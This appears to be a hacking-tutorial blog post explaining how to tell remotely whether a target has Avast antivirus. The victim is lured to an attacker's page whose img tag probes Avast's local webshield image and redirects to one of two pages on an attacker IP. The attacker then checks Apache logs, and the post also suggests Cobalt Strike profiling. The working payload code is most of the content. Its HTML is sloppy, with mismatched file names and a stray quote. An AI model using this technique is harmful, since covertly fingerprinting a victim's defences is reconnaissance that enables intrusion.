Original video is posted here. In avast their is feature of site blocking ; so if you want to block any site you can put its address in block url section of avast interface.when someone load that site they get response as shown in below image.
How-to-detect-Avast-Antivirus-remotely
In above image you can see that avast logo which address is localhost:12080/$$avast-webshield$$/image001.png . So if in client machine avast is installed than that image is also located at that address , by examine image is exist or not we can know that whether avast is installed or not.
For this purpose victim should visit our link where we can check about image.So i am gonna use my apache server ; where i put three html page. One is our link which we gonna send to victim ; if image exist it redirect to other document ; & if image does not exist it redirect to third html page.
(1)Make blank html page & give it to name avst.html & put following code in that html page.
<meta http-equiv="refresh" content="0; url=http://google.com/">
(2)Now make second html page & give it to name ntavst.html & put same code in that page.
(3)Make third & final html page and give it to name exp.html & put following code.
<div dir="ltr" style="text-align: left;" trbidi="on">
<img src="http://127.0.0.1:12080/$$avast-webshield$$"/image001.png" onload="document.location='http://180.215.198.150/avast.html'" onerror="document.location='http://180.215.198.150/ntavast.html'" />
Note:- Change your i.p in above code.
Now put these all document in /var/www/ folder.And send link of exp.html to victim
Now check your apache log file from \var\log\apache2\log ; you can check if avst.html page has been visited or ntavst.html page.
How-to-detect-Avast-Antivirus-remotely
PS: You can use cobalt strike `s system profiler which get you os version; browser detail; java version ; adobe reader version & flash version.